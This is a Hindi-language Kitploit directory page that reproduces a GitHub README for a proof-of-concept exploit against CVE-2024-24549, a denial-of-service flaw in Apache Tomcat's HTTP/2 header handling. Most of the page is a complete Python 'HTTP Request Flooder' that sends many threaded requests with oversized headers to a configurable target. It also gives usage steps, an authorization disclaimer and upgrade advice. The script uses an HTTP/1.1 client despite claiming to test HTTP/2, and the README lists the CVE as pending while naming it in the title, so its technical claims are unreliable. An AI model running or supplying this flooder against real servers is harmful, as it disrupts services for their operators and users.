Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-24549 — प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-24549 के लिए, जो Apache Tomcat में HTTP/2 हैडर ओवरफ्लो के माध्यम से सेवा से इनकार (DoS) भेद्यता है। इसमें परीक्षण और संसाधन थकावट के लिए एक Python स्क्रिप्ट शामिल है। | Kitploit
उपकरण/GitHubGitHub/abdurahmon3236/cve-2024-24549
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-24549 के लिए, जो Apache Tomcat में HTTP/2 हैडर ओवरफ्लो के माध्यम से सेवा से इनकार (DoS) भेद्यता है। इसमें परीक्षण और संसाधन थकावट के लिए एक Python स्क्रिप्ट शामिल है।

रिपॉजिटरी देखें
101 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यहाँ एक README.md है जो Apache Tomcat में HTTP/2 अनुरोधों के अनुचित इनपुट सत्यापन के कारण Denial of Service (DoS) भेद्यता को प्रदर्शित करने वाले एक Proof of Concept (PoC) के लिए है:


Apache Tomcat में Denial of Service (DoS) भेद्यता के लिए Proof of Concept (PoC)

यह रिपॉजिटरी Apache Tomcat में Denial of Service (DoS) भेद्यता को प्रदर्शित करने वाली एक Proof of Concept (PoC) स्क्रिप्ट प्रदान करती है। यह भेद्यता HTTP/2 अनुरोधों के अनुचित इनपुट सत्यापन के कारण उत्पन्न होती है, जिससे संभावित DoS स्थितियाँ उत्पन्न हो सकती हैं।

भेद्यता विवरण

CVE-ID: (Pending)

अवलोकन: Apache Tomcat के संस्करण 11.0.0-M1 से 11.0.0-M16, 10.1.0-M1 से 10.1.18, 9.0.0-M1 से 9.0.85, और 8.5.0 से 8.5.98 Denial of Service हमले के प्रति संवेदनशील हैं। यह समस्या तब उत्पन्न होती है जब HTTP/2 अनुरोधों को ऐसे हेडर के साथ संसाधित किया जाता है जो कॉन्फ़िगर की गई सीमाओं से अधिक होते हैं। HTTP/2 स्ट्रीम को तब तक रीसेट नहीं किया जाता जब तक सभी हेडर संसाधित नहीं हो जाते, जिससे संसाधनों की कमी हो सकती है।

प्रभावित संस्करण:

  • Apache Tomcat 11.0.0-M1 से 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 से 10.1.18
  • Apache Tomcat 9.0.0-M1 से 9.0.85
  • Apache Tomcat 8.5.0 से 8.5.98

शमन उपाय:

  • Apache Tomcat संस्करण 11.0.0-M17, 10.1.19, 9.0.86, या 8.5.99 या उसके बाद के संस्करणों में अपग्रेड करें।

PoC विवरण

यह PoC स्क्रिप्ट दर्शाती है कि कॉन्फ़िगर की गई हेडर सीमाओं से अधिक HTTP/2 अनुरोध भेजकर DoS भेद्यता का शोषण कैसे किया जाए। स्क्रिप्ट सर्वर पर संसाधनों को समाप्त करने के लिए बड़ी संख्या में अनुरोध भेजती है।

PoC स्क्रिप्ट

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

व्याख्या

  1. कॉन्फ़िगरेशन: host को लक्ष्य सर्वर पते पर और port को उपयुक्त पोर्ट (आमतौर पर HTTPS के लिए 443) पर सेट करें। भेजे जाने वाले अनुरोधों की संख्या को नियंत्रित करने के लिए num_requests को समायोजित करें।
  2. कनेक्शन बनाएँ: स्क्रिप्ट लक्ष्य सर्वर के लिए एक HTTPS कनेक्शन स्थापित करती है।
  3. हेडर: कॉन्फ़िगर की गई हेडर सीमाओं से अधिक और भेद्यता को ट्रिगर करने के लिए एक बड़े हेडर मान का उपयोग किया जाता है।
  4. अनुरोध भेजें: स्क्रिप्ट लक्ष्य सर्वर पर बड़े आकार के हेडर के साथ कई HTTP/2 POST अनुरोध भेजती है।
  5. स्थिति प्रिंट करें: प्रभाव की निगरानी के लिए प्रत्येक अनुरोध का स्थिति कोड प्रिंट करता है।

महत्वपूर्ण विचार

  • अनुमतियाँ: सुनिश्चित करें कि आपके पास लक्ष्य सर्वर पर यह परीक्षण करने की स्पष्ट अनुमति है। अनधिकृत परीक्षण अवैध और अनैतिक है।
  • परीक्षण वातावरण: उत्पादन सेवाओं को बाधित करने से बचने के लिए नियंत्रित वातावरण में परीक्षण करें।
  • नैतिक उपयोग: इस PoC का जिम्मेदारी से और केवल अधिकृत संदर्भों में उपयोग करें।

शमन

इस भेद्यता को कम करने के लिए:

  1. Apache Tomcat को अपग्रेड करें: संस्करण 11.0.0-M17, 10.1.19, 9.0.86, या 8.5.99 या उसके बाद के संस्करणों में अपडेट करें।
  2. कॉन्फ़िगरेशन की समीक्षा करें: बड़े या दुर्भावनापूर्ण HTTP/2 अनुरोधों को अधिक प्रभावी ढंग से संभालने के लिए सर्वर कॉन्फ़िगरेशन को समायोजित करें।
  3. संसाधनों की निगरानी करें: असामान्य अनुरोध पैटर्न का पता लगाने और उस पर प्रतिक्रिया देने के लिए निगरानी लागू करें जो DoS हमले का संकेत हो सकते हैं।

अपने Apache Tomcat इंस्टॉलेशन को सुरक्षित करने के बारे में अधिक जानकारी के लिए, आधिकारिक Apache Tomcat दस्तावेज़ीकरण देखें।


यह README.md भेद्यता का अवलोकन, PoC स्क्रिप्ट, और शमन के निर्देश प्रदान करता है। सुनिश्चित करें कि आप इस PoC को जिम्मेदारी से और केवल उन प्रणालियों पर संभालें जहाँ आपके पास स्पष्ट प्राधिकरण है।

टूल डाउनलोड करें